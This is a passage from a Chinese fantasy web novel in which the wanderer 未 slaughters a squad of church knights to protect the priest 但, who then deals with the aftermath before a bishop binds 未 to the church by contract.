未记得这一斩。他猛地向前扑倒,不是后退,是迎着剑锋滚倒!巨剑的剑尖擦着他的后背划过,撕开了衣服,在背上留下一道火辣辣的血口。剧痛让他差点叫出来,但更多的是一种麻木的、终于来了的烦躁。 他滚到骑士长脚下。骑士长反应极快,巨剑回斩,改为下劈! 未记得这下劈。他用尽力气向旁边翻滚,巨剑“哐”地劈在他刚才位置的石板上,碎石飞溅,砸得他生疼。他没停,继续翻滚,直到撞到另一个之前倒下的骑士尸体旁。他顺手捡起了尸体手边掉落的一把战锤——柄短,头重。 骑士长再次逼近,巨剑扬起。 未撑起身子,半跪着,手里拖着那柄对他而言有些过重的战锤。他死死盯着骑士长的动作,盯着他肩膀的耸动,盯着他靴子踩地的角度。 来了。是突刺。巨剑如同毒龙出洞,直刺未的胸膛。这是骑士长解决纠缠对手的惯用招式,快,狠,难躲。 未没想完全躲开。他记得这一刺。在剑尖及体的前一瞬,他用尽全身力气向侧面拧身。 剑锋避开了心脏,但还是刺穿了他的右胸,从背后透出一点寒芒。难以想象的剧痛瞬间攫住了他,但他等的就是这一刻。骑士长全力突刺时,身体会随着剑势前倾,持剑的手臂会完全伸直,左侧胸肋会因为发力而暴露,尽管有盔甲保护,但那盔甲的接缝处…… 未被钉在剑上,却借着这股刺穿的力量,左手死死抓住了骑士长持剑的手臂,把自己固定住。右手用尽最后的、燃烧生命般的力气,抡起了那柄短柄战锤,狠狠凿了下去! “铛——咔嚓!” 金属剧烈变形和某种东西碎裂的混合声响。骑士长的身体猛地一震,前冲的动作戛然而止。他低下头,似乎无法置信地看着自己左肋盔甲上那个被凿开、深深嵌入身体的破口。 未松开了锤柄,也松开了抓着他的手。他顺着穿刺身体的巨剑,向后倒去。剑被他的体重带着,从骑士长手中脱出,也从他身体里抽离。 “砰。” 未仰面摔在血泊里。右胸的伤口像一个破掉的风箱,每次呼吸都带出更多的血沫和剧痛。视野在晃动,教堂彩绘的穹顶扭曲旋转。他听到沉重的倒地声,大概是骑士长。还听到其他零星的、惊慌的喊叫和打斗声,但都很遥远,像隔着一层厚厚的血雾。 但是战斗没有结束。未爬到最近的尸体附近,扯下衣服给自己包扎,还灌了几瓶魔药,他现在已经不在乎是不是真的有效了,胃痛已经是身上痛感最轻的部位。 未顶着常人难以忍受的体感,他知道,还有法师和医疗部队,和剩下几乎一半的骑士。 未从人堆里滚出来,他看也没看地上挣扎的两人,目光锁定了那个听到动静、正惊疑不定望过来的医疗术士。 医疗术士看到了未满手的血和那双黑沉沉的眼睛,慌忙将法杖指向他,绿光变得明亮。未感到一股温和但坚定的力量试图阻挡他,像陷入粘稠的蜂蜜。但他冲势太猛,那股力量只是让他速度稍缓,没能完全拦住。他冲破绿光的阻碍,扑到医疗术士身前,在对方惊恐的注视下,左手一把攥住了法杖的杖身! 宝石的绿光近距离照射在他脸上,带着令人作呕的草药甜味。未感到握住法杖的手掌传来轻微的灼痛和麻痹感,但他攥得更紧,猛地向自己怀里一拽! 医疗术士惊呼一声,法杖脱手。未夺过法杖,看也没看,反手就用坚硬的杖身狠狠砸在医疗术士的额角上! “砰!” 木头撞击骨头的闷响。医疗术士哼都没哼一声,眼睛一翻,软软倒了下去,额角迅速红肿破裂,血渗了出来。未还不解气,又用脚朝着他脑袋狠狠踢了一下,直到对方彻底不动了。他扔掉了那根碍事的法杖,杖头的宝石摔在地上,裂开一道缝,绿光熄灭了。 终于,躲在圣坛右后方法师的吟唱声急促高亢了起来。空气里的魔力波动变得剧烈,未感到一股沉重的压力从四面八方挤压过来,让他呼吸一窒,动作都迟缓了。 法师从阴影中踏出一步,兜帽下的眼睛冰冷地注视着未,手中捧着的厚书翻到了某一页,淡淡的灰色光芒从他身上散发出来。他在准备一个范围性的压制或攻击法术。 未记得这种被无形力量束缚的感觉,记得随之而来的致命打击。烦躁和暴怒在这一刻达到了顶点。他讨厌这种看不见摸不着的力量,讨厌被控制,讨厌一切让他无法顺畅地撕碎敌人的东西! 他低吼一声,不再试图冲向法师——距离有点远,而且那压力场让他举步维艰。他的目光飞快地扫过周围。地上有掉落的剑,有昏迷的医疗术士,有还在挣扎想爬起来的骑士,还有……不远处圣坛上,那些沉重的银质烛台、圣杯、厚重的帷幕圣典…… 他猛地弯腰,用左手捡起了地上那把骑士掉落的剑,剑很沉,他用起来很不顺手。但他没想用剑去砍法师。他单手抡起剑,用尽全身力气,朝着法师脚下那块区域投掷过去! 剑旋转着飞向法师。法师似乎没料到这种毫无章法的攻击,微微侧身想躲,吟唱因此中断了一瞬,周围的压力场也出现了细微的波动。 未不再直线冲锋,而是猛地扑向旁边那个刚刚推开同伴尸体、挣扎着半跪起来的回头守卫骑士! 那骑士刚从地上爬起来,脑袋还有些发懵,看到未像疯狗一样扑来,下意识举剑格挡。但未的目标根本不是他本人。未扑到近前,左手一把抓住他持剑的手臂,身体借力一转,整个人躲到了骑士身后,把他当成了盾牌,挡在自己和法师之间! 灰袍法师的吟唱再次响起,但看到未躲在了骑士身后,他犹豫了。未的目光锁定了圣坛上那个最大、最沉重的银质枝状烛台。他推着骑士朝那边挪动。 法师见未挟持着同伴靠近,眼神一冷,似乎下定了决心。他不再吟唱大范围法术,而是伸出手指,快速在空中虚画了一个符号,一道尖锐的、淡灰色的风刃凭空生成,尖啸着射向未——他试图用更精准的方式解决这个麻烦。 未看到了风刃的轨迹。他猛地把身前的骑士朝着风刃袭来的方向狠狠一推,自己则借着反作用力向后跌倒,险之又险地避开了风刃的边缘。风刃擦着骑士的肩甲飞过,留下一道深深的切痕,然后打在后面的石柱上,溅起一片石屑。 那骑士被推得踉跄向前,又被风刃吓了一跳,动作更加慌乱。未趁着他重心不稳,倒地后顺势一个翻滚,滚到了圣坛脚下。他左手抓住圣坛的边沿,用力一拉,站了起来,右手无法用力,只能用身体靠住圣坛。 灰袍法师见一击不中,再次抬手,指尖灰光凝聚。 未没有看他。他背靠圣坛,用左肩和身体顶住了那个沉重的银质枝状烛台底座,低吼一声,用尽全身残存的力量,猛地将其推翻! “轰隆——哗啦!!” 沉重的银烛台朝着灰袍法师和那个刚刚站稳的骑士的方向倾倒!上面未燃尽的蜡烛四处飞溅,滚烫的蜡油滴落。烛台本身就像一根巨大的金属柱子,带着可怕的声势砸落。 法师脸色一变,顾不得施法,急忙向旁边闪避。那个骑士也吓得向另一侧跳开。 沉重的烛台砸在两人中间的空地上,发出震耳欲聋的巨响,石砖碎裂,银质构件扭曲变形,碎屑和灰尘弥漫。 法师刚站稳,就看到一个血人从灰尘里冲出,独眼(另一只被血糊住)里闪烁着骇人的凶光。他慌忙举剑,但未的左手已经抓住了他持剑的手腕,力量大得惊人,指甲几乎抠进他的肉里。同时,未抬起膝盖,狠狠撞向他的小腹——那里虽然有甲片,但冲击力依然让他岔气。 他闷哼一声,动作一滞。未的左手顺着他的手腕下滑,抓住了他剑柄下方一点的护手,然后猛地向自己怀里一带,同时身体前冲,用额头狠狠一撞—— “咚!” 沉闷的撞击。法师被撞得脑袋后仰,头晕目眩。未趁机夺过了他的法杖,反手就捅! 杖尖从法师胸甲下方的缝隙斜向上刺入,那里防护相对薄弱。法师发出惨叫,未拧转剑柄,扩大伤口,然后一脚把他踹开。 他拔出法杖,血顺着杖柄流下。 未喘着粗气,胸口剧烈起伏。手臂处传来钻心的疼,左手的虎口因为刚才夺剑和撞击而撕裂流血,腰侧被风刃擦过的伤口火辣辣,背上被之前骑士划开的口子也在渗血。他浑身都在疼,疼得他想骂娘,疼得他想把眼前这个装神弄鬼的家伙撕成碎片。 主厅里的战斗声似乎接近尾声,但还有零星的金属碰撞和怒吼。未看了一眼地上法师的尸体,又看了看自己血淋淋的左手和剧痛的右臂。他没时间去感受什么,只有深入骨髓的疲惫和疼痛,以及一种事情还没完的强烈预感。 未巡视了一圈,数了数地上的尸体,一共35个左右。剩下的未找不到,应该是逃跑了。看来他们只是穿得像骑士,并没有多少骑士精神。 他弯腰捡起了地上那把沾满血的剑,拖着伤痕累累的身体,一步一步,朝着主厅走去。 主厅内,未拄剑,一身血气地曾进来。他侧过头,看到不远处但靠着圣坛坐在地上,脸色白得像鬼,正呆呆地看着这边。但的祭司袍染了血,但不是他自己的——是之前被未撞倒的那个骑士溅上去的。 未看着他。庆幸和欣慰短暂的冒了个头,又迅速沉寂。 杀光了,然后呢?要干什么来着? 无法思考,他不知道。他甚至连动一根手指的力气都没了。血还在流,带走体温和意识。 但挣扎着想爬起来,朝他这边挪动,嘴唇在动,好像在说什么。 未听不见。他闭上眼,黑暗像潮水一样涌上来。这次,没有墓穴的霉味,没有冰冷的触感。只有一片沉重的、永恒的寂静,和全身每一个细胞都在尖叫的疼痛。 他活下来了。暂时。仅此而已。 24. 【十一】间章 血腥味浓得化不开。 但瘫坐在圣坛冰冷的台阶上,背靠着同样冰冷的石质台面,双手控制不住地颤抖。 除了害怕,更多是一种剧烈冲击后的生理性脱力。 他的白袍下摆浸满了暗红色的粘稠液体,分不清是哪个骑士的,或许更多的,来自那个闯入者未。 他脑子里像塞进了一团暴风雨后的乱麻,各种画面和声音不受控制地翻滚、冲撞。 他记得今天清晨和往常一样,空气里带着晨露和旧木头的气味。但知道自己的处境,骑士团这次前来,名义上是“例行巡检并邀请高阶祭司回总部述职”,实际上是囚笼,或者更糟。这一次被自己拒绝了几次之后,骑士团似乎已经显露出本性了。穆希纳什那边,终于想让自己死了吗? 他无处可逃,他是被扔进教会“看管”的。教会的网络笼罩一切,反抗只会让事情更糟。 然后,毫无征兆地,侧厅方向传来了异响。不是正门被庄严撞开的轰鸣,而是一声沉闷的撞击和短促、被掐断般的闷哼。但的心猛地一沉,一种混合了果然来了和还是来了的冰冷预感攫住了他。骑士们立刻警觉,阵型变换,将他半包围在圣坛前,气氛瞬间剑拔弩张。 接着,那个熟悉又陌生的身影在侧厅的拱门口一闪而过。 是未。但第一眼几乎没认出来。未站在那里,左手滴着血,一只眼睛被半干的血痂糊住,另一只眼睛扫过全场。没有惯常的警惕或闪躲,而是一片深不见底的、令人心悸的冰冷,以及一种近乎实质的烦躁。仿佛眼前不是全副武装的教会骑士,而是一群挡了他路的、惹人厌的虫子。 下一秒,杀戮开始了。 那不是但认知中的任何战斗。没有怒吼,没有战嚎,只有沉默的、高效到残忍的扑击。未的动作并不算特别快,甚至有些踉跄,但他总是能先一步出现在最让骑士难受的位置。他仿佛知道那个高个子骑士冲锋时左膝的旧伤,轻轻一绊就让他失去平衡;他好像预判了那个年轻骑士挥剑的轨迹,提前半步侧身,用不知从哪里夺来的短剑从对方颈侧甲缝里捅进去,手法熟练得令人胆寒。 但当时完全懵了。他看见未夺过一把剑,又扔掉,捡起烛台砸人,用头撞,用膝盖顶。战斗毫无章法,却又透着一股令人毛骨悚然的精准。每一次看似拼命的、以伤换伤的打法,最终倒下的都是骑士。未自己也在流血,腰侧、背上、肩膀不断添上新伤,但他好像感觉不到,或者说不在乎。他的动作始终带着那股压抑不住的烦躁,仿佛眼前的厮杀只是他急于摆脱的、一件极其麻烦的事情。 战斗发生在前厅,但能看到的部分实在有限。骑士们在未那种不要命的气势和同伴不断倒下的恐惧中,很快被逐一解决。当最后一名骑士的咽喉被割开,教堂里除了浓重的血腥和喘息,再无其他声响。 当未拄着剑来到但所在的房间时,他的眼神让但终生难忘。 没有胜利的喜悦,没有救赎后的欣慰,没有常见的痛苦或解脱。只有深不见底的疲惫和一种仿佛燃烧殆尽后的死寂。未看着他,又好像没在看他,目光穿透了他,投向某个遥远而虚无的地方。然后,那支撑着他的力气似乎瞬间抽空,他眼睛一闭,直挺挺地向后倒去,砸在血泊里,再无声息。 但的脑子“嗡”的一声,一片空白。几秒钟后,强烈的职业本能和某种更复杂的情绪驱使他连滚爬爬地冲了过去,滑倒在未的身边。 “未!未!”他颤抖着呼唤,手指试探未的鼻息。 微弱,但还有。 但看着未身上那些可怕的伤口,尤其是右胸那个贯穿伤,正在汩汩冒血。常规的治愈术对未可能无效,未的体质有些异常,对低级魔法有抗性。 但一边施展魔法试图急救,白色的荆棘缠绕上了未的四肢,托起了未的头颅。 “快来人!”但朝着教堂后方喊道,他知道那里还有几个不参与战斗的普通执事和杂役,“侧门!去叫街区医护所的人!快!带上生命稳定剂和外科工具!有人重伤!” 他扯下自己的祭司袍下摆,试图给未最严重的伤口加压止血。布料很快被浸透。但强迫自己冷静下来,回忆着医疗术士手册上的急救步骤,尽管手指依然抖得厉害。未的体温在降低,脸色死白。 杂役和执事战战兢兢地探出头,被眼前的尸山血海吓得面无人色。但在但厉声催促下,才有人踉跄着跑出去求救。 等待的时间无比漫长。但跪在血泊里,按着未的伤口,眼睛死死盯着未灰败的脸。他脑子里混乱的思绪开始慢慢沉淀,转化成一个个冰冷而清晰的问题: 为什么? 未为什么会在这里?他只是一个底层的流浪者,偶尔打点零工,在黑市边缘挣扎求存。但知道他身手可能比看上去好一点,有些街头生存的狠劲,但绝不应该……绝不可能做到眼前这种地步!一个人,单枪匹马,没有魔法波动,用最原始野蛮的方式,杀光了整整一队全副武装的教会骑士!这简直像是噩梦里的场景。 他怎么做到的? 那些精准到可怕的弱点攻击,那些对骑士战斗习惯匪夷所思的预判,那种对伤痛近乎漠然的承受力……这根本不是但所认识的那个未。 目标明确……为了我? 骑士团是冲着他来的。未的杀戮目标从始至终锁定骑士团,甚至特意先解决了可能干扰的医疗术士和法师。这指向性太明显了。未在救他?以这种极端血腥、不留余地的方式? 但感到一阵寒意爬上脊背。未展现出的那种熟练和冷酷,让但不由自主地想到那些传说中潜伏在阴影里的顶级刺客或战争机器。可未……他明明连字都不太认识,身上也没有任何受过严格训练的痕迹。 街区医护所的人终于到了,带着简易的急救设备。领头的老医生看到教堂内的景象,倒吸一口凉气,脸色发白。在但的坚持和紧急身份授权下,他们迅速对未进行了现场急救:注射强效生命稳定剂和止血凝胶,用便携式能量场暂时稳定最重的胸腹伤口,清理部分创面并包扎。 “必须立刻转移到有手术条件的地方!他的伤势太重了,失血过多,多处内脏受损,右臂骨折,能活到现在已经是奇迹!”老医生声音急促。 “送去第七教区附属医院,用我的权限。”但立刻道,他稍微恢复了一点镇定,“他被袭击了,是……保护教堂的见义勇为者。”他艰难地给未此刻的身份定下基调。无论如何,未不能作为屠杀者被对待,至少现在不能。教会内部对骑士团这次行动并非没有分歧,或许可以借此周旋。 未被小心地抬上担架,转移离开。但留下来,面对满地的尸体和闻讯逐渐赶来的教会治安人员以及更高层的调查者。 接下来的几个小时是混乱而压抑的。但作为现场唯一的幸存目击者,也是骑士团原本的目标,接受了反复的、细节到苛刻的询问。他隐瞒了未最初是从侧厅闯入以及之前认识未的事实,只说听到侧厅异响,然后看到一个浑身是伤的陌生流浪汉冲出来与骑士团搏斗,似乎是想阻止骑士团带走自己。他强调了骑士团行动的突兀性和未保护行为的突然性,将未描绘成一个路见不平、爆发了惊人潜能的悲剧性人物。 “一个人?杀了所有骑士?包括骑士长和随行的法术人员?”调查的神官满脸难以置信,“但祭司,您确定他没有任何魔法辅助或同伙?” “我当时……很震惊,看得不是很全。”但斟酌着词句,“他的战斗方式……很原始,很拼命。好像……好像对骑士们的战斗方式非常熟悉,总能找到破绽。我不认为他用了魔法,至少我没有感觉到常见的魔力波动。至于同伙……我没有看到其他人。” 这个解释连但自己都觉得牵强,但主厅。前厅和侧厅确实都有全方位的监控魔法。现场没有其他目击者能反驳,而尸体的伤痕确实大多是冷兵器造成,符合原始搏杀的特征。未身上除了简单的街头武器,没有发现任何制式装备或魔法物品,这一切都证明了但句句属实。 教会高层的反应微妙。骑士团剩下的成员已经不在加仑,邻国穆希纳什原本就对骑士团霸道行径不满的中立派和温和派,则对此事保持了沉默,甚至隐隐有种乐见其成的态度。毕竟,一个横行无忌的武装小队在教堂内全军覆没,无论原因为何,都狠狠打击了激进派的气焰。未的身份成谜,反而成了一个可以灵活操作的筹码。 在但的极力坚持和某些高层默许下,对未的定性暂时偏向于“身份不明的守护者”,治疗得以在相对保密和重视的条件下进行。但知道这只是暂时的平衡,一旦未醒来,或者激进派找到更多证据,风暴还会再来。 处理完最紧急的询问和汇报,但以需要清理现场、安抚区域信众情绪为由,获得了暂时处理教堂内部善后的许可。他遣散了大部分协助的杂役,只留下两个自己引荐来的孩子帮忙。(与其说是留下,不如说只有他们愿意来帮忙) 当真正开始面对这四十具尸体时,那种不真实的荒谬感和迟来的冲击,才如同潮水般将但淹没。 教堂宏伟的穹顶下,曾经神圣庄严的空间,此刻宛如屠宰场。血迹在地上汇成大小不一的泊洼,已经半凝固,呈现出暗红发黑的颜色。尸体以各种扭曲的姿态倒卧,盔甲破损,武器散落,那些曾经傲慢或冷漠的脸庞,如今只剩下死亡带来的僵直和空白。空气里的血腥味混合着一种内脏破裂后的微腥,令人作呕。 但戴上了厚手套,拿起工具,开始协助孩子们进行最初步的清理。他需要整理死者遗物,记录伤亡,为后续的官方验尸和身份确认做准备。 他首先靠近那个被未用短剑刺穿脖子的年轻骑士。蹲下身,但强迫自己仔细查看。颈甲的缝隙处,伤口精准而深入,切断了大血管和气管。一击致命,毫无冗余。但记得未当时扑上去的动作,快、狠、没有任何犹豫,仿佛做过千百次。 他移动到一个被烛台砸碎肩甲、又被补刀刺穿胸腹的骑士身边。烛台砸击的位置正好是肩关节活动处,破坏了盔甲的完整性,为后续的刺杀创造了条件。这真的是巧合吗? 但一个一个尸体看过去,越看心越沉。大多数致命伤都位于盔甲防护的薄弱点或连接处:颈侧、腋下、腹股沟、膝弯、面甲缝隙……有些伤口甚至是多次叠加的,显示未在对方失去反抗能力后,依然进行了确保死亡的补击,冷静得可怕。 他走到骑士长的尸体旁。这位实力强悍的队长,死状颇为惨烈。巨剑还脱手落在不远处,胸甲被自己的剑刺穿,而左肋则有一个被钝器暴力凿开的破口,边缘的金属向内卷曲,深深嵌入身体。但记得最后那同归于尽般的一幕。未是怎么在那种重伤下,还能准确找到盔甲接缝并完成致命一击的?他对骑士长盔甲的构造熟悉到了何种程度? 但的呼吸越来越急促,手套下指尖冰凉。这不是一场遭遇战,不是激愤之下的反抗。更像是一场经过精心策划的定点清除。未的目标明确,手段高效,对每一个敌人的特点和弱点似乎都了如指掌。 他怎么可能知道? 但了解未的背景,或者说,他自以为了解。一个在第七教区底层挣扎了几年,偶尔接点搬运、清洁、甚至可能是打手黑活的流浪汉。沉默寡言,对教会事务漠不关心,似乎只专注于最基本的生存。这样的一个人,怎么可能对一支精锐教会骑士团的成员构成、装备弱点、战斗习惯熟悉到这种令人发指的程度? 除非……除非他根本不是表现出来的那样。 但的心跳漏了一拍。他想起未身上那些层层叠叠的旧伤疤,有些看起来很陈旧,形状怪异。以前他只当是街头斗殴或艰苦生活留下的印记。现在想来,其中一些是否太过“专业”?还有未偶尔流露出的那种远超普通流浪汉的警觉性,对周围环境异乎寻常的敏锐感知…… 一个可怕的想法浮现在但的脑海:未,会不会是某个势力派来暗中保护自己的?因为自己特殊的血脉?所以他才对自己偶尔的善意有所回应?所以他才在关键时刻以如此暴烈的方式介入? 但这个想法很快又被但自己否决。如果是保护,大可以更早警示,或者采用更隐蔽的方式带他离开,而不是选择这种必然引发轩然大波的血腥屠杀。这更像是……更像是未在别无选择的情况下,被逼出的最后手段。 难道未和骑士团有私仇?可这无法解释他为何对每个骑士的弱点如此熟悉,除非他长期、近距离地观察研究过这支小队——这更不可能。 清理工作缓慢而压抑地进行。但和孩子们默默地将尸体一具具排列整齐,盖上白布,记录下他们身上能找到的身份标识和遗物。每一具尸体都在无声地诉说着刚才那场短暂而惨烈的战斗,也在不断加深但心中的谜团和寒意。 当他清理到侧厅门口,看到第一个被未杀死的骑士时,但的视线落在了门框内侧一个不起眼的位置。那里有几道新鲜的、深深的刮痕,像是有人用带钩的粗糙工具狠狠划过。痕迹的角度和位置…… 但走过去,蹲下仔细查看。他的目光顺着痕迹移动,又看向地面,那里有几滴颜色稍浅、尚未完全干涸的血迹,滴落的形状……他模拟了一下,如果一个人在这里突然遭受来自侧后方的袭击,挣扎时…… 他的心脏猛地一跳。这些痕迹,这血迹的位置,和这第一个骑士倒下的姿态,以及但记忆中未冲出来时左手滴血的样子……隐隐吻合。未不是从外面闯进来的?他一开始就在侧厅?他又是翻墙进来的? 但感到一阵眩晕。事情比他想象的还要复杂。未的出现,不是偶然路过,更像是有预谋的潜伏和等待。 他站起身,靠在冰凉的石墙上,闭上眼睛,试图将混乱的线索拼凑起来。 但感到一阵寒意彻骨。未所承受的,一定远比他身上那些恐怖伤口所呈现的,要多得多。 这时,一名执事匆匆走来,低声禀报:“但祭司,医院传来消息,那个伤者……未,他的紧急手术已经结束,生命体征暂时稳定,但仍处于深度昏迷,未脱离危险。另外……审判庭的人来了,要求接管现场和后续调查,他们特别提到了要见您。” 但深吸一口气,睁开眼,眼神恢复了平静,深处却多了一丝沉重和决断。不管未是谁,不管他背负着什么,他救了自己,以这种极端的方式。在教会错综复杂的权力漩涡和未身上巨大的谜团之间,但知道自己必须做出选择。 “我知道了。”但的声音有些沙哑,却清晰坚定,“告诉他们,我稍后就到。还有,以我的名义,请医院不惜一切代价,保住未的生命。他……是重要的证人。” …… 未的昏迷并非寻常意义上的沉睡。在教会附属医院最高级别的看护病房里,他的生命体征曾一度微弱得让最精密的仪器都几乎捕捉不到。主治的医疗术士和外科医生们轮番上阵,动用了储备的高阶治疗卷轴和昂贵的再生药剂,也只能勉强维持住一丝生机,每一次病情通报都让但的心往下沉一分。 然而,就在第三天深夜,监测未生命体征的仪器突然发出了一阵轻微而稳定的蜂鸣。值班的医疗术士以为设备故障,检查时却惊愕地发现,病人原本微弱紊乱的波形正以不可思议的速度变得强壮规律。他急忙呼叫主治医师。当一群人冲进病房时,看到的景象让他们瞠目结舌:未安静地躺在那里,呼吸平稳悠长,脸色虽然依旧苍白,却不再有濒死的灰败。最令人震惊的是,他身上那些狰狞的外伤——包括那个恐怖的贯穿伤——正在以肉眼可见的速度愈合、结痂、脱落,露出底下粉嫩的新生皮肤。骨折处传来细微的、令人牙酸的骨骼重塑声。 “神迹……”一位年长的医疗术士喃喃道,几乎要跪下来祈祷。 但得到消息赶来时,未的“恢复”已近尾声。他站在病房外,透过观察窗看着里面忙乱而惊疑的医护人员,以及病床上那个仿佛只是睡着的人,心中五味杂陈。这不是神迹,他几乎可以肯定。未身上发生的一切,早已超出了常规治愈术甚至已知高阶魔法的范畴。 第四天清晨,未醒了。他睁开眼,眼神里没有初醒的迷茫,只有一片深潭般的平静,以及一丝难以察觉的、仿佛长途跋涉后终于得以喘息的疲惫。他动了动手指,抬起手臂看了看,皮肤完好,仿佛前几天那场惨烈的厮杀只是一场幻梦。只有身体深处,那股挥之不去的、源自无数次重复的沉重倦怠,提醒着他一切都是真的。 医疗部的高级主管和几位主教派来的观察员对他进行了一系列详尽的检查。结果令人难以置信:所有伤势痊愈,生理机能完好,甚至比普通人更加健康稳定,体内没有任何异常魔法残留或外来能量痕迹。他们反复询问未的感觉,未只是摇头,用沙哑的声音简单地回答:“累了。好了。”再多的问题,他便沉默以对。 最终,在无法解释的“医学奇迹”和上层某种默许的态度下,未被允许出院。医疗部的人怀着敬畏和困惑送走了这个一夜之间从死神手里挣脱并完全康复的怪人,相关记录被列为加密档案。 未被直接带到了一座远离喧闹教区、位于教会行政中枢深处的静修室。房间朴素而肃穆,空气中弥漫着陈年书籍和熏香的味道。他被要求在此等待。 没过多久,门被无声地推开。一个身穿深蓝色主教长袍、面容清癯、眼神却锐利的人走了进来。他步伐沉稳,气息内敛,但身上那种久居上位、执掌权柄的威严自然而然地弥漫开来。他挥手让引路的执事退下,关上门,目光落在未身上,仔细地打量了片刻,才缓缓开口,声音平和,却带着不容置疑的分量。 “我是蓝戈,第七教区枢机主教之一,目前负责内部监察与特殊事务。”他自我介绍,没有寒暄,直入主题,“我想,你应该知道自己做了什么。” 未没说话。他确实知道。杀了四十个骑士,捅了天大的篓子。他等着宣判,也许是监禁,也许是秘密处决。他不太在乎,只是觉得累,累得连思考惩罚的细节都提不起劲。他只想知道但怎么样了。而且这人明明帮过自己作假身份,现在却要装的不认识自己一样,有点好笑。 蓝戈似乎看穿了他的心思,却没有立刻提及但。他走到窗前,背对着未,望着外面修剪整齐的庭院,语气平淡地继续:“骑士团,几乎全灭。三十五人,包括一名精英法师,一名医疗师,一名骑士长,三十一名精锐骑士。现场……很干净。” 未依旧沉默。 “有趣的是,”蓝戈转过身,目光再次锁定未,“这支骑士团,并非完全隶属我加仑国教会。他们是邻国穆希纳什王国王室直属的‘荆棘鸟骑士团’分支,名义上派驻我方进行‘友好交流与协作’,实际上……是钉子。监视特定人物,彰显影响力,必要时施加压力。” 未懒得在乎这些信息。 “更有趣的是,”蓝戈嘴角勾起一丝难以捉摸的弧度,“事发后,我们按照程序通报了穆希纳什方面。你猜怎么着?当我们提供了部分现场记录,尤其是确认了凶手的身份和作案方式后,对方的反应,很值得玩味。” 蓝戈走近几步,在未对面的椅子上坐下,姿态放松,眼神却更加锐利。“国王亲自过问了此事。在看了记录,特别是你一个人,用那种方式,解决了整支小队之后,他们的态度很微妙。他们主动提出,‘鉴于此次不幸事件涉及复杂情况,且发生在加仑教会圣地,建议由加仑教会全权处理后续,萨丁方面尊重贵方的调查与处置权’。对于但祭司,他们也只是轻描淡写地表示,‘希望贵方能妥善保护这位幸存者’。” 蓝戈停顿了一下,给未消化这些信息的时间。“外交辞令背后,是退缩和忌惮。他们怕了,不是怕教会,而是怕你,未。或者更准确地说,是怕制造出你这种‘东西’的可能性,以及你背后可能代表的未知力量或‘意外’。一支装备精良、经验丰富的骑士团,在神圣场所被单人全歼,且凶手展现出了超乎常理的身体素质和战斗本能。这超出了他们的认知和安全评估框架。在弄清楚你到底是怎么回事、是否可控、是否还有更多类似存在之前,他们不想轻举妄动,激化矛盾,甚至……不敢立刻接回但这个明显的目标。” 未听着,脸上没什么表情,心里却有些茫然。他没想到事情会扯到两国关系,更没想到自己的杀戮反而带来这种诡异的“安全”。他只是杀了该杀的人,仅此而已。至于别人怎么想,他懒得琢磨,也琢磨不透。 “对于教会而言,”蓝戈的语气变得正式而冷静,“圣地发生如此血腥事件,无疑是巨大的丑闻,是对‘神圣、安宁、秩序’形象的沉重打击。舆论需要引导,影响需要控制。好在,死的不是主人而是客人,操作空间很大。我们可以将事件定性为‘外部暴力势力潜入圣地,意图劫持或袭击我方重要神职人员,幸得暗中守护教堂的忠诚卫士拼死抵抗,最终在付出巨大代价后击退来敌,保护了圣地与祭司的安全’。而你,未,就是那位‘忠诚的卫士’,虽然手段激烈,但情有可原,功大于过。” 蓝戈身体微微前倾,目光如实质般压在未身上。“关键在于,穆希纳什的钉子被意外且彻底地拔除了,而教会不用承担任何主动攻击的外交或道义责任,甚至还能借此加强内部管控和话语权。主动权,现在在我们手里。” 未终于抬起眼,看向蓝戈。主教的眼神深邃,里面没有对杀戮的谴责,也没有对生命的怜悯,只有冷静到极致的权衡与算计。未明白了,在这些人眼里,那三十五条命,甚至但的安危,都只是棋盘上的棋子。而自己,阴差阳错,成了他们手中一把意外锋利、却让他们也暗自心惊的刀。 “所以,”蓝戈总结道,“教会可以赦免你的一切行为,甚至可以给你奖赏。但前提是,你需要接受教会的……‘安置’。” 一份厚重的、边缘烫着金线的羊皮纸契约被推到了未的面前。条款密密麻麻,用的是教会官方文书那种复杂拗口的句式。未识通用字不多,但大概意思能看懂:他需要宣誓效忠教会,接受教会的一切安排和调遣,未经允许不得离开指定区域,必须配合一切必要的调查和研究,其行动和存在需绝对保密,等等。违约金高得吓人,而违反核心条款的后果,则语焉不详。 这是一张卖身契。用自由和未来,换取暂时的安全和或许存在的待遇。 未的手指划过冰凉的羊皮纸表面,沉默了许久。他其实没太多选择。外面可能还有穆希纳什的暗探,教会也不会放任他这样一个危险又奇特的“资产”流落在外。拒绝?可能立刻就会被处理掉,或者面临更糟糕的境遇,他累了,不想去想这些事情了。 “那我……还有晋升的可能吗?”未的声音干涩,问了一个看似无关紧要的问题。他不在乎权力地位,但他隐约感觉到,在这个体系里,更高的位置或许意味着稍多一点的自主空间,或者……更好地保护他想保护的人的能力。 蓝戈似乎对他的问题并不意外,甚至露出了一丝极淡的、近似于欣赏的笑容。“当然有。你可是我们潜在的底牌呢。教会不会亏待有价值的人。资源、训练、甚至是某种程度的力量引导……只要你证明你的忠诚和可用性,你会得到与你价值相匹配的待遇。远比你在街头挣扎好得多。” 未点了点头,目光落在契约末尾的签名处。他又抬起眼,问:“那现在……能给我放个假吗?”他的声音里透出深深的、无法作伪的疲惫,不是身体上的,而是灵魂层面的倦怠。“我很累。” 这次,蓝戈明显愣了一下。他大概没想到未在听完这番关乎命运的安排后,提出的第一个具体要求竟然是这个。他审视着未,似乎在判断这要求背后的含义。最终,他缓缓点了点头:“可以。你需要时间适应和恢复。在正式安排下达前,你可以有一段时间的自由活动……当然,是在教区划定的安全范围内。会有人‘陪同’。” 未似乎对这个“陪同”并不在意。他犹豫了一下,还是问出了从醒来就盘旋在心头的问题:“但……他怎么办?” 提到但,蓝戈的眼神微微闪动了一下。“阿塔尔祭司是这次事件的直接相关者和幸存者,受到了不小的惊吓。教会会给予他充分的关怀和‘保护’。他也会得到晋升和更好的职位安排,在一个更安全、更重要的地方继续为圣光服务。你不必担心他。”话语中“保护”一词,咬得稍稍重了一些。 未听懂了。但成了另一个层面的“资产”,被教会牢牢握在手里。他的安全或许有保障,但自由,恐怕比自己更少。自己能见到他吗?蓝戈没有说,未也没有再问。他知道问也无用。 最终,未在那份羊皮纸契约上,用颤抖的、不甚熟练的笔迹,签下了自己的名字。蓝戈仔细收好契约,仿佛完成了一笔重要的交易。 “欢迎加入,未。”蓝戈的语气缓和了一些,甚至带上了一丝公式化的鼓励,“好好休息。你的‘假期’从明天开始。之后,会有人联系你,告诉你接下来的安排。” 